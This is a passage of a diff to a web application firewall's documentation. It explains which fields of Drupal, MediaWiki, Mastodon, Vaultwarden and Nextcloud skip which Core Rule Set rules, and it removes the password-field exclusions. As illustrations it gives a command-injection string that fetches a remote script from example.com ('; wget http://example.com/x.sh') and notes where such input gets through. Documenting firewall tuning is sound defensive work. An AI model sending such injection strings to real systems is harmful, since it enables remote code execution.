||||||
- `mail` on those forms, for 930120, 932120 and 932260 only.
|
- `mail` on those forms, for 930120, 932120 and 932260 only.
|
||||||
|
|
||||||
These exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies
|
These exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies
|
||||||
when the query has a parameter of the same name.
|
when the query has a parameter of the same name.
|
||||||
|
|
||||||
Elsewhere these fields keep every rule. The paths are those of Drupal at the
|
Elsewhere these fields keep every rule. The paths are those of Drupal at the
|
||||||
site root, with or without a language prefix such as `/fr`. Such a prefix is
|
site root, with or without a language prefix such as `/fr`. Such a prefix is any
|
||||||
any first path segment of two or three lowercase letters, optionally
|
first path segment of two or three lowercase letters, optionally followed by a
|
||||||
followed by a hyphen and more letters, so `/api` counts too. An app other
|
hyphen and more letters, so `/api` counts too.
|
||||||
than Drupal that serves one of them must check these fields itself.
|
|
||||||
|
|
||||||
11. On MediaWiki's paths, some fields skip the rules that refused ordinary
|
MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that refused
|
||||||
MediaWiki requests there. `internal/coreruleset/mediawiki.conf` lists each
|
ordinary MediaWiki requests there. `internal/coreruleset/mediawiki.conf` lists
|
||||||
rule and the request it refused. These fields skip the lists of system files
|
each rule and the request it refused. These fields skip the lists of system
|
||||||
and command names (930120, 932120, 932250, 932260), in the query or the
|
files and command names (930120, 932120, 932250, 932260), in the query or the
|
||||||
body:
|
body:
|
||||||
- On MediaWiki's pages, which are `/index.php` and the paths under
|
|
||||||
`/index.php/` and `/wiki/`:
|
- On MediaWiki's pages, which are `/index.php` and the paths under `/index.php/`
|
||||||
|
and `/wiki/`:
|
||||||
- the searches `search` and `ilsearch`;
|
- the searches `search` and `ilsearch`;
|
||||||
- the titles `title`, `page` and `target`;
|
- the titles `title`, `page` and `target`;
|
||||||
- `from`, `to` and `prefix`, which limit a list of pages;
|
- `from`, `to` and `prefix`, which limit a list of pages;
|
||||||
@@ -1035,12 +1036,12 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
- the searches `search`, `srsearch` and `pssearch`;
|
- the searches `search`, `srsearch` and `pssearch`;
|
||||||
- the titles `titles`, `title`, `page` and `bltitle`;
|
- the titles `titles`, `title`, `page` and `bltitle`;
|
||||||
- `from` and `to`, the titles of a page being moved;
|
- `from` and `to`, the titles of a page being moved;
|
||||||
- the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`,
|
- the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`, `aiprefix`,
|
||||||
`aiprefix`, `aufrom` and `auprefix`;
|
`aufrom` and `auprefix`;
|
||||||
- `letitle`, the page whose log is listed;
|
- `letitle`, the page whose log is listed;
|
||||||
- `euquery`, an address;
|
- `euquery`, an address;
|
||||||
- the fields a generator sends in place of the fields above, each with a
|
- the fields a generator sends in place of the fields above, each with a `g`
|
||||||
`g` in front:
|
in front:
|
||||||
- `gsrsearch` and `gpssearch`;
|
- `gsrsearch` and `gpssearch`;
|
||||||
- `gapfrom`, `gapto` and `gapprefix`;
|
- `gapfrom`, `gapto` and `gapprefix`;
|
||||||
- `gaifrom` and `gaiprefix`;
|
- `gaifrom` and `gaiprefix`;
|
||||||
@@ -1051,77 +1052,68 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
- `lgname`, `lgpassword`, `username` and `password`, for signing in.
|
- `lgname`, `lgpassword`, `username` and `password`, for signing in.
|
||||||
- `q` on `/rest.php/` and the paths under it.
|
- `q` on `/rest.php/` and the paths under it.
|
||||||
|
|
||||||
`modules` on `/load.php` skips 930120 alone, because it lists the scripts
|
`modules` on `/load.php` skips 930120 alone, because it lists the scripts and
|
||||||
and styles a page loads.
|
styles a page loads.
|
||||||
|
|
||||||
These fields of a body skip the rules that refused them:
|
These fields of a body skip the rules that refused them:
|
||||||
|
|
||||||
- On MediaWiki's pages, for the same four rules:
|
- On MediaWiki's pages, for the same four rules:
|
||||||
- `wpSummary`, the summary of an edit;
|
- `wpSummary`, the summary of an edit;
|
||||||
- `wpUploadDescription`, the description of an uploaded file;
|
- `wpUploadDescription`, the description of an uploaded file;
|
||||||
- `wpName` and `wpPassword`, for signing in;
|
- `wpName` and `wpPassword`, for signing in;
|
||||||
- `wpOldTitle`, `wpNewTitleMain` and `wpReason`, for moving a page.
|
- `wpOldTitle`, `wpNewTitleMain` and `wpReason`, for moving a page.
|
||||||
- `comment` in the JSON body of `/rest.php/`, for the same four rules.
|
- `comment` in the JSON body of `/rest.php/`, for the same four rules.
|
||||||
- On MediaWiki's pages, for 930120 and 932120 alone, the reasons on the
|
- On MediaWiki's pages, for 930120 and 932120 alone, the reasons on the admin
|
||||||
admin pages:
|
pages:
|
||||||
- `wpReason-other`, for blocking a user;
|
- `wpReason-other`, for blocking a user;
|
||||||
- `user-reason`, for changing a user's groups;
|
- `user-reason`, for changing a user's groups;
|
||||||
- `mwProtect-reason`, for protecting a page.
|
- `mwProtect-reason`, for protecting a page.
|
||||||
- On MediaWiki's pages, `wpTitles`, the list of watched pages that
|
- On MediaWiki's pages, `wpTitles`, the list of watched pages that
|
||||||
`Special:EditWatchlist/raw` sends, one title per line. It always skips
|
`Special:EditWatchlist/raw` sends, one title per line. It always skips 930120,
|
||||||
930120, 932120 and 932250. It skips 932125, 932230, 932235, 932260 and
|
932120 and 932250. It skips 932125, 932230, 932235, 932260 and 932380 only
|
||||||
932380 only when it holds no `;`, `|`, `&`, backtick or `{`. A title
|
when it holds no `;`, `|`, `&`, backtick or `{`. A title starting with a
|
||||||
starting with a command name, such as `Python3 notes`, passes. So does a
|
command name, such as `Python3 notes`, passes. So does a command alone on a
|
||||||
command alone on a line, such as `wget http://example.com/x.sh`. A command
|
line, such as `wget http://example.com/x.sh`. A command such as
|
||||||
such as `; wget http://example.com/x.sh` is still refused. So is a list
|
`; wget http://example.com/x.sh` is still refused. So is a list that mixes a
|
||||||
that mixes a title holding one of these characters with a title starting
|
title holding one of these characters with a title starting with a command
|
||||||
with a command name.
|
name.
|
||||||
- The wikitext of a page, which holds templates, tables and any code it
|
- The wikitext of a page, which holds templates, tables and any code it shows:
|
||||||
shows:
|
|
||||||
- `wpTextbox1` on MediaWiki's pages;
|
- `wpTextbox1` on MediaWiki's pages;
|
||||||
- `text`, `appendtext` and `prependtext` on `/api.php`;
|
- `text`, `appendtext` and `prependtext` on `/api.php`;
|
||||||
- `source` in the JSON body of `/rest.php/`.
|
- `source` in the JSON body of `/rest.php/`.
|
||||||
- The passwords when signing in, for each rule that random passwords set off
|
|
||||||
(920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
|
|
||||||
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
|
|
||||||
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
|
|
||||||
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150):
|
|
||||||
- `wpPassword` on MediaWiki's pages;
|
|
||||||
- `lgpassword` and `password` on `/api.php`.
|
|
||||||
|
|
||||||
An SQL injection or a path traversal sent as a password reaches
|
|
||||||
MediaWiki. A script injection is still refused.
|
|
||||||
|
|
||||||
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
||||||
applies when the query has a parameter of the same name.
|
applies when the query has a parameter of the same name.
|
||||||
|
|
||||||
The names of uploaded files skip 932180 on MediaWiki's pages and on
|
The names of uploaded files skip 932180 on MediaWiki's pages and on `/api.php`,
|
||||||
`/api.php`, so a picture named `Notes on .htaccess.png` can be uploaded.
|
so a picture named `Notes on .htaccess.png` can be uploaded. MediaWiki refuses a
|
||||||
MediaWiki refuses a file whose extension it does not allow.
|
file whose extension it does not allow.
|
||||||
|
|
||||||
`/index.php` itself counts as MediaWiki's only when its query has a `title`,
|
`/index.php` itself counts as MediaWiki's only when its query has a `title`, as
|
||||||
as in `/index.php?title=Main_Page`. WordPress serves `/index.php` too. A
|
in `/index.php?title=Main_Page`. WordPress serves `/index.php` too. A wiki
|
||||||
wiki without short URLs serves its pages under `/index.php/`, as in
|
without short URLs serves its pages under `/index.php/`, as in
|
||||||
`/index.php/Main_Page`, and its sign-in and upload forms post there.
|
`/index.php/Main_Page`, and its sign-in and upload forms post there.
|
||||||
|
|
||||||
Elsewhere these fields keep every rule. The paths are those of MediaWiki at
|
Elsewhere these fields keep every rule. The paths are those of MediaWiki at the
|
||||||
the site root or under `/w/`. An app other than MediaWiki that serves one of
|
site root or under `/w/`.
|
||||||
them must check these fields itself.
|
|
||||||
|
Mastodon's fixes: on Mastodon's paths, some fields skip the rules that refused
|
||||||
|
ordinary Mastodon requests there. `internal/coreruleset/mastodon.conf` lists
|
||||||
|
each rule and the request it refused. These fields skip the lists of system
|
||||||
|
files and command names (930120, 932120, 932250, 932260), in the query:
|
||||||
|
|
||||||
12. On Mastodon's paths, some fields skip the rules that refused ordinary
|
|
||||||
Mastodon requests there. `internal/coreruleset/mastodon.conf` lists each
|
|
||||||
rule and the request it refused. These fields skip the lists of system files
|
|
||||||
and command names (930120, 932120, 932250, 932260), in the query:
|
|
||||||
- On the API's search, accounts and admin accounts, under `/api/v1/` and
|
- On the API's search, accounts and admin accounts, under `/api/v1/` and
|
||||||
`/api/v2/`, the searches and names `q`, `acct`, `username`,
|
`/api/v2/`, the searches and names `q`, `acct`, `username`, `display_name`,
|
||||||
`display_name`, `email` and `by_domain`.
|
`email` and `by_domain`.
|
||||||
- On `/admin/accounts`, `/admin/instances`, `/admin/custom_emojis` and
|
- On `/admin/accounts`, `/admin/instances`, `/admin/custom_emojis` and
|
||||||
`/admin/tags`, the searches `username`, `display_name`, `email`,
|
`/admin/tags`, the searches `username`, `display_name`, `email`, `by_domain`,
|
||||||
`by_domain`, `shortcode` and `name`.
|
`shortcode` and `name`.
|
||||||
- `q` on `/search`, the web app's search page.
|
- `q` on `/search`, the web app's search page.
|
||||||
|
|
||||||
These fields of a body skip the same four rules:
|
These fields of a body skip the same four rules:
|
||||||
- On these API resources, under `/api/v1/` or `/api/v2/`, and the paths
|
|
||||||
under them:
|
- On these API resources, under `/api/v1/` or `/api/v2/`, and the paths under
|
||||||
|
them:
|
||||||
- `statuses`, `media` and `reports`;
|
- `statuses`, `media` and `reports`;
|
||||||
- `accounts` and `profile`;
|
- `accounts` and `profile`;
|
||||||
- `lists`, `filters` and `featured_tags`;
|
- `lists`, `filters` and `featured_tags`;
|
||||||
@@ -1129,12 +1121,12 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
- On those resources, these fields:
|
- On those resources, these fields:
|
||||||
- `spoiler_text` and `poll[options][]`, for posting;
|
- `spoiler_text` and `poll[options][]`, for posting;
|
||||||
- `description`, of an uploaded file;
|
- `description`, of an uploaded file;
|
||||||
- `display_name`, `note` and the names and values of
|
- `display_name`, `note` and the names and values of `fields_attributes`,
|
||||||
`fields_attributes`, for a profile;
|
for a profile;
|
||||||
- `title`, `keyword`, the keywords of `keywords_attributes` and `name`,
|
- `title`, `keyword`, the keywords of `keywords_attributes` and `name`, for
|
||||||
for lists, filters and hashtags;
|
lists, filters and hashtags;
|
||||||
- `comment`, `text`, `private_comment` and `public_comment`, for
|
- `comment`, `text`, `private_comment` and `public_comment`, for reports,
|
||||||
reports, notes, warnings and blocks;
|
notes, warnings and blocks;
|
||||||
- in JSON, as the web app sends them:
|
- in JSON, as the web app sends them:
|
||||||
- `spoiler_text`, `title` and the options of `poll`;
|
- `spoiler_text`, `title` and the options of `poll`;
|
||||||
- `description`, and the descriptions in `media_attributes`;
|
- `description`, and the descriptions in `media_attributes`;
|
||||||
@@ -1173,14 +1165,13 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
- `user[password]`, `user[password_confirmation]` and
|
- `user[password]`, `user[password_confirmation]` and
|
||||||
`user[current_password]`;
|
`user[current_password]`;
|
||||||
- `user[invite_request_attributes][text]`, why someone asks to sign up;
|
- `user[invite_request_attributes][text]`, why someone asks to sign up;
|
||||||
- `account_migration[current_password]`,
|
- `account_migration[current_password]`, `form_redirect[current_password]`
|
||||||
`form_redirect[current_password]` and
|
and `form_delete_confirmation[password]`, for moving or deleting an
|
||||||
`form_delete_confirmation[password]`, for moving or deleting an
|
|
||||||
account.
|
account.
|
||||||
- On `/api/v1/accounts`, signing up through the API, `password` and
|
- On `/api/v1/accounts`, signing up through the API, `password` and `reason`, in
|
||||||
`reason`, in form data or JSON.
|
form data or JSON.
|
||||||
- On `/inbox`, `/users/<name>/inbox` and `/ap/users/<id>/inbox`, the fields
|
- On `/inbox`, `/users/<name>/inbox` and `/ap/users/<id>/inbox`, the fields of
|
||||||
of the object another server delivers in JSON:
|
the object another server delivers in JSON:
|
||||||
- `content` and `contentMap`, a post;
|
- `content` and `contentMap`, a post;
|
||||||
- `summary` and `summaryMap`, a content warning or a profile's text;
|
- `summary` and `summaryMap`, a content warning or a profile's text;
|
||||||
- `name`, a profile's name;
|
- `name`, a profile's name;
|
||||||
@@ -1192,51 +1183,36 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
commands in code. A shell command such as `; wget http://example.com/x.sh`
|
commands in code. A shell command such as `; wget http://example.com/x.sh`
|
||||||
reaches Mastodon there.
|
reaches Mastodon there.
|
||||||
|
|
||||||
Two fields of a body skip only 932120 and 932260. A hashtag or a username
|
Two fields of a body skip only 932120 and 932260. A hashtag or a username holds
|
||||||
holds only letters, digits and underscores, so the other two rules do not
|
only letters, digits and underscores, so the other two rules do not misfire
|
||||||
misfire there:
|
there:
|
||||||
- `name` in JSON on `/api/v1/featured_tags`, a hashtag the web app features
|
|
||||||
on a profile;
|
|
||||||
- `user[account_attributes][username]` on `/auth`, the sign-up form's
|
|
||||||
username.
|
|
||||||
|
|
||||||
`user[email]` on `/auth` and the paths under it skips 930120, 932120
|
- `name` in JSON on `/api/v1/featured_tags`, a hashtag the web app features on a
|
||||||
and 932260. The sign-up, sign-in, password reset and account settings forms
|
profile;
|
||||||
send an email address there, such as `python3@example.com`. An address holds
|
- `user[account_attributes][username]` on `/auth`, the sign-up form's username.
|
||||||
no spaces, so it keeps 932250.
|
|
||||||
|
`user[email]` on `/auth` and the paths under it skips 930120, 932120 and 932260.
|
||||||
|
The sign-up, sign-in, password reset and account settings forms send an email
|
||||||
|
address there, such as `python3@example.com`. An address holds no spaces, so it
|
||||||
|
keeps 932250.
|
||||||
|
|
||||||
On `/api/v1/reports`, the JSON keys `forward` and `forward_to_domains` skip
|
On `/api/v1/reports`, the JSON keys `forward` and `forward_to_domains` skip
|
||||||
930120 by their names. A report forwarded to another server lists that
|
930120 by their names. A report forwarded to another server lists that server in
|
||||||
server in `forward_to_domains`. In the Core Rule Set the keys are named:
|
`forward_to_domains`. In the Core Rule Set the keys are named:
|
||||||
|
|
||||||
- `json.forward`;
|
- `json.forward`;
|
||||||
- `json.forward_to_domains`;
|
- `json.forward_to_domains`;
|
||||||
- `json.forward_to_domains.0`, `json.forward_to_domains.1` and so on, one
|
- `json.forward_to_domains.0`, `json.forward_to_domains.1` and so on, one per
|
||||||
per server.
|
server.
|
||||||
|
|
||||||
Each name contains `.forward`, a file in a home folder. So 930120 refused
|
Each name contains `.forward`, a file in a home folder. So 930120 refused every
|
||||||
every report the web app sent. The keys' values keep every rule.
|
report the web app sent. The keys' values keep every rule.
|
||||||
|
|
||||||
The passwords in a body skip each rule that random passwords set off
|
|
||||||
(920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
|
|
||||||
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
|
|
||||||
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
|
|
||||||
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150):
|
|
||||||
- on `/auth`, `/settings/migration` and `/settings/delete`, and the paths
|
|
||||||
under them:
|
|
||||||
- `user[password]`, `user[password_confirmation]` and
|
|
||||||
`user[current_password]`;
|
|
||||||
- `account_migration[current_password]` and
|
|
||||||
`form_redirect[current_password]`;
|
|
||||||
- `form_delete_confirmation[password]`;
|
|
||||||
- `password` on `/api/v1/accounts`, in form data or JSON.
|
|
||||||
|
|
||||||
An SQL injection or a path traversal sent as a password reaches Mastodon. A
|
|
||||||
script injection is still refused.
|
|
||||||
|
|
||||||
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
||||||
applies when the query has a parameter of the same name.
|
applies when the query has a parameter of the same name.
|
||||||
|
|
||||||
The names of uploaded files skip 932180 on these paths:
|
The names of uploaded files skip 932180 on these paths:
|
||||||
|
|
||||||
- `/api/v1/media` and `/api/v2/media`;
|
- `/api/v1/media` and `/api/v2/media`;
|
||||||
- `/api/v1/accounts/update_credentials` and `/api/v1/profile`.
|
- `/api/v1/accounts/update_credentials` and `/api/v1/profile`.
|
||||||
|
|
||||||
@@ -1244,35 +1220,34 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
file of a type it does not allow.
|
file of a type it does not allow.
|
||||||
|
|
||||||
The `Accept` header skips 920600 on links to profiles and posts, such as
|
The `Accept` header skips 920600 on links to profiles and posts, such as
|
||||||
`/@admin` and `/@admin/117589811962372311`. It skips it on `/actor` and on
|
`/@admin` and `/@admin/117589811962372311`. It skips it on `/actor` and on the
|
||||||
the paths under `/users/` and `/ap/users/` too. When someone on another
|
paths under `/users/` and `/ap/users/` too. When someone on another server looks
|
||||||
server looks up such a link, that server fetches it with this header:
|
up such a link, that server fetches it with this header:
|
||||||
`Accept: application/ld+json; profile="https://www.w3.org/ns/activitystreams", application/activity+json, text/html;q=0.1`.
|
`Accept: application/ld+json; profile="https://www.w3.org/ns/activitystreams", application/activity+json, text/html;q=0.1`.
|
||||||
It sends the same header to the account or post the link leads to.
|
It sends the same header to the account or post the link leads to.
|
||||||
|
|
||||||
Gitea serves `/api/v1/` and Drupal serves `/admin/`. So only Mastodon's own
|
Gitea serves `/api/v1/` and Drupal serves `/admin/`. So only Mastodon's own
|
||||||
resources under them count as Mastodon's paths. Elsewhere these fields keep
|
resources under them count as Mastodon's paths. Elsewhere these fields keep
|
||||||
every rule. An app other than Mastodon that serves one of these paths must
|
every rule.
|
||||||
check these fields itself.
|
|
||||||
|
|
||||||
13. On Vaultwarden's paths, some fields skip the rules that refused ordinary
|
Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that
|
||||||
Vaultwarden requests there. `internal/coreruleset/vaultwarden.conf` lists
|
refused ordinary Vaultwarden requests there.
|
||||||
each rule and the request it refused. The apps encrypt vault items, folders,
|
`internal/coreruleset/vaultwarden.conf` lists each rule and the request it
|
||||||
collections and sends before sending them, so those fields skip no rules.
|
refused. The apps encrypt vault items, folders, collections and sends before
|
||||||
The fields below hold plain text.
|
sending them, so those fields skip no rules. The fields below hold plain text.
|
||||||
|
|
||||||
Names and password hints skip the lists of system files and command names
|
Names and password hints skip the lists of system files and command names
|
||||||
(930120, 932120, 932250, 932260):
|
(930120, 932120, 932250, 932260):
|
||||||
- `name`, the name of the account, an organization, a group or a security
|
|
||||||
key;
|
- `name`, the name of the account, an organization, a group or a security key;
|
||||||
- `masterPasswordHint`, when signing up or changing the master password;
|
- `masterPasswordHint`, when signing up or changing the master password;
|
||||||
- `invitation_org_name` and `smtp_from_name`, on the admin page's settings.
|
- `invitation_org_name` and `smtp_from_name`, on the admin page's settings.
|
||||||
|
|
||||||
These fields hold email addresses and skip 930120, 932120 and 932260:
|
These fields hold email addresses and skip 930120, 932120 and 932260:
|
||||||
|
|
||||||
- `username`, when signing in at `/identity/connect/token`;
|
- `username`, when signing in at `/identity/connect/token`;
|
||||||
- `email`, `newEmail`, `billingEmail` and the invited `emails`;
|
- `email`, `newEmail`, `billingEmail` and the invited `emails`;
|
||||||
- the salt fields, such as `masterPasswordUnlock.salt`, which hold the
|
- the salt fields, such as `masterPasswordUnlock.salt`, which hold the address;
|
||||||
address;
|
|
||||||
- `accountUnlockData.masterPasswordUnlockData.email`, when rotating the
|
- `accountUnlockData.masterPasswordUnlockData.email`, when rotating the
|
||||||
account's encryption key;
|
account's encryption key;
|
||||||
- `smtp_from`, `smtp_username` and `org_creation_users`, on the admin page's
|
- `smtp_from`, `smtp_username` and `org_creation_users`, on the admin page's
|
||||||
@@ -1281,19 +1256,21 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
So `python3@example.com` and `powershell@example.com` pass.
|
So `python3@example.com` and `powershell@example.com` pass.
|
||||||
|
|
||||||
These fields skip the rules on these paths:
|
These fields skip the rules on these paths:
|
||||||
|
|
||||||
- the paths under `/identity/accounts/`;
|
- the paths under `/identity/accounts/`;
|
||||||
- `/api/accounts/`, `/api/emergency-access/` and `/api/organizations`, and
|
- `/api/accounts/`, `/api/emergency-access/` and `/api/organizations`, and the
|
||||||
the paths under them;
|
paths under them;
|
||||||
- `/admin/config`.
|
- `/admin/config`.
|
||||||
|
|
||||||
Names and password hints skip them on `/api/two-factor/webauthn` too, where
|
Names and password hints skip them on `/api/two-factor/webauthn` too, where a
|
||||||
a security key gets its name.
|
security key gets its name.
|
||||||
|
|
||||||
The addresses skip them on these paths too:
|
The addresses skip them on these paths too:
|
||||||
|
|
||||||
- `/identity/connect/token` and `/admin/invite`;
|
- `/identity/connect/token` and `/admin/invite`;
|
||||||
- `/admin/test/smtp`, where the admin page sends a test email;
|
- `/admin/test/smtp`, where the admin page sends a test email;
|
||||||
- the paths under `/api/two-factor/`, where sign-in codes by email are set
|
- the paths under `/api/two-factor/`, where sign-in codes by email are set up
|
||||||
up and sent;
|
and sent;
|
||||||
- `/api/auth-requests` and the paths under it, for signing in with another
|
- `/api/auth-requests` and the paths under it, for signing in with another
|
||||||
device.
|
device.
|
||||||
|
|
||||||
@@ -1303,47 +1280,50 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
`username` in the query of `/api/hibp/breach`, the data breach report, skips
|
`username` in the query of `/api/hibp/breach`, the data breach report, skips
|
||||||
930120, 932120 and 932260 too.
|
930120, 932120 and 932260 too.
|
||||||
|
|
||||||
The names of uploaded files skip 920120 on the paths that take attachments
|
The names of uploaded files skip 920120 on the paths that take attachments and
|
||||||
and file sends:
|
file sends:
|
||||||
|
|
||||||
- `/api/ciphers/<id>/attachment` and the paths under it;
|
- `/api/ciphers/<id>/attachment` and the paths under it;
|
||||||
- `/api/ciphers/<id>/attachment-admin`;
|
- `/api/ciphers/<id>/attachment-admin`;
|
||||||
- `/api/sends/<id>/file/<file id>`.
|
- `/api/sends/<id>/file/<file id>`.
|
||||||
|
|
||||||
The apps name such a file by its encrypted name, which holds `=`. Path
|
The apps name such a file by its encrypted name, which holds `=`. Path traversal
|
||||||
traversal and PHP scripts in the names are still refused.
|
and PHP scripts in the names are still refused.
|
||||||
|
|
||||||
Elsewhere these fields keep every rule. An app other than Vaultwarden that
|
Elsewhere these fields keep every rule.
|
||||||
serves one of these paths must check these fields itself.
|
|
||||||
|
|
||||||
14. On Nextcloud's paths, some fields skip the rules that refused ordinary
|
Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that refused
|
||||||
Nextcloud requests there, and its WebDAV methods are allowed.
|
ordinary Nextcloud requests there, and its WebDAV methods are allowed.
|
||||||
`internal/coreruleset/nextcloud.conf` lists each rule and the request it
|
`internal/coreruleset/nextcloud.conf` lists each rule and the request it
|
||||||
refused.
|
refused.
|
||||||
|
|
||||||
The sync client and the Files app use WebDAV on these paths:
|
The sync client and the Files app use WebDAV on these paths:
|
||||||
|
|
||||||
- `/remote.php/dav/`;
|
- `/remote.php/dav/`;
|
||||||
- `/public.php/dav/`;
|
- `/public.php/dav/`;
|
||||||
- `/remote.php/webdav/`;
|
- `/remote.php/webdav/`;
|
||||||
- `/public.php/webdav/`.
|
- `/public.php/webdav/`.
|
||||||
|
|
||||||
These methods are allowed there, besides those of the first change:
|
These methods are allowed there, besides those of the first change:
|
||||||
|
|
||||||
- `PROPFIND` and `PROPPATCH`;
|
- `PROPFIND` and `PROPPATCH`;
|
||||||
- `MKCOL`;
|
- `MKCOL`;
|
||||||
- `COPY` and `MOVE`;
|
- `COPY` and `MOVE`;
|
||||||
- `REPORT` and `SEARCH`;
|
- `REPORT` and `SEARCH`;
|
||||||
- `LOCK` and `UNLOCK`, with which the desktop client locks a file.
|
- `LOCK` and `UNLOCK`, with which the desktop client locks a file.
|
||||||
|
|
||||||
A file the Files app or the sync client uploads with `PUT` to these paths is
|
A file the Files app or the sync client uploads with `PUT` to these paths is a
|
||||||
a file, not form data. The Core Rule Set does not read the body of a `PUT`
|
file, not form data. The Core Rule Set does not read the body of a `PUT` there.
|
||||||
there. So a JSON file holding `python3 -m pytest` uploads, and so does an
|
So a JSON file holding `python3 -m pytest` uploads, and so does an XML file
|
||||||
XML file holding `ls -la /var/log`. The headers, path and query of the `PUT`
|
holding `ls -la /var/log`. The headers, path and query of the `PUT` are still
|
||||||
are still checked.
|
checked.
|
||||||
|
|
||||||
The cookie `nc_username` holds the name of the account signed in. It skips
|
The cookie `nc_username` holds the name of the account signed in. It skips the
|
||||||
the lists of system files and command names (930120, 932120, 932250, 932260)
|
lists of system files and command names (930120, 932120, 932250, 932260) on
|
||||||
on every path, since every request sends it.
|
every path, since every request sends it.
|
||||||
|
|
||||||
These fields skip the same four rules, in the query or the body:
|
These fields skip the same four rules, in the query or the body:
|
||||||
|
|
||||||
- On `/login`, for signing in:
|
- On `/login`, for signing in:
|
||||||
- `user` and `password`;
|
- `user` and `password`;
|
||||||
- `redirect_url`, the page to go to after signing in.
|
- `redirect_url`, the page to go to after signing in.
|
||||||
@@ -1358,52 +1338,47 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
- `path`, `label` and `shareWith`, for a share.
|
- `path`, `label` and `shareWith`, for a share.
|
||||||
|
|
||||||
These fields of a JSON body skip the same four rules:
|
These fields of a JSON body skip the same four rules:
|
||||||
|
|
||||||
- On the OCS API, each field of the list above.
|
- On the OCS API, each field of the list above.
|
||||||
- `value` on `/apps/theming/ajax/updateStylesheet`, the name and slogan in
|
- `value` on `/apps/theming/ajax/updateStylesheet`, the name and slogan in the
|
||||||
the theming settings.
|
theming settings.
|
||||||
- `filePath` on `/apps/text/session/<id>/save`, the document the editor
|
- `filePath` on `/apps/text/session/<id>/save`, the document the editor saves.
|
||||||
saves.
|
|
||||||
- `name` on `/remote.php/dav/systemtags/`, a new tag.
|
- `name` on `/remote.php/dav/systemtags/`, a new tag.
|
||||||
|
|
||||||
`password` in the body of `/login`, the password when signing in, skips each
|
|
||||||
rule that random passwords set off (920270, 920540, 921200, 930100, 930110,
|
|
||||||
930120, 932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280,
|
|
||||||
932330, 932340, 932370, 932380, 933100, 933135, 933180, 933210, 941100,
|
|
||||||
941120, 941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320,
|
|
||||||
942540, 942550, 944150). It applies only when the query has no `password`
|
|
||||||
parameter. An SQL injection or a path traversal sent as the password reaches
|
|
||||||
Nextcloud. A script injection is still refused.
|
|
||||||
|
|
||||||
Some fields hold sentences a person writes:
|
Some fields hold sentences a person writes:
|
||||||
- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS
|
|
||||||
API and on each share under it;
|
- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS API
|
||||||
|
and on each share under it;
|
||||||
- `message`, an account's status, on
|
- `message`, an account's status, on
|
||||||
`apps/user_status/api/v1/user_status/message/custom` of the OCS API;
|
`apps/user_status/api/v1/user_status/message/custom` of the OCS API;
|
||||||
- `message` in the JSON body that posts a comment to
|
- `message` in the JSON body that posts a comment to
|
||||||
`/remote.php/dav/comments/files/<id>`;
|
`/remote.php/dav/comments/files/<id>`;
|
||||||
- the XML body of a `PROPPATCH` that edits a comment;
|
- the XML body of a `PROPPATCH` that edits a comment;
|
||||||
- `autosaveContent` on `/apps/text/session/<id>/save`, the text of a
|
- `autosaveContent` on `/apps/text/session/<id>/save`, the text of a document.
|
||||||
document.
|
|
||||||
|
|
||||||
These fields skip the same four rules. They also skip the rules that refused
|
These fields skip the same four rules. They also skip the rules that refused
|
||||||
ordinary sentences there, such as `It is fixed; diff attached` (932125,
|
ordinary sentences there, such as `It is fixed; diff attached` (932125, 932230,
|
||||||
932230, 932235, 932380). A share's note and a status skip them in the query
|
932235, 932380). A share's note and a status skip them in the query or the body.
|
||||||
or the body. A document's text skips two more, which refused a shell script
|
A document's text skips two more, which refused a shell script in a code block
|
||||||
in a code block (932160, 932370). So a shell command such as
|
(932160, 932370). So a shell command such as `; wget http://example.com/x.sh`
|
||||||
`; wget http://example.com/x.sh` reaches Nextcloud in these fields. SQL
|
reaches Nextcloud in these fields. SQL injection, path traversal and script
|
||||||
injection, path traversal and script injection are still refused there.
|
injection are still refused there.
|
||||||
|
|
||||||
The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search,
|
The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search, skips
|
||||||
skips the four rules.
|
the four rules.
|
||||||
|
|
||||||
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
||||||
applies to a JSON field when the query has a parameter of that name, such as
|
applies to a JSON field when the query has a parameter of that name, such as
|
||||||
`json.message`. Nextcloud's pages are matched at the site root and under
|
`json.message`. Nextcloud's pages are matched at the site root and under
|
||||||
`/index.php/`. Elsewhere these fields keep every rule. An app other than
|
`/index.php/`. Elsewhere these fields keep every rule.
|
||||||
Nextcloud that serves one of these paths must check these fields itself.
|
|
||||||
|
|
||||||
The parameter and cookie names in these changes are matched without regard to
|
Each app's fixes switch rules off for some of its fields and cookies. Any other
|
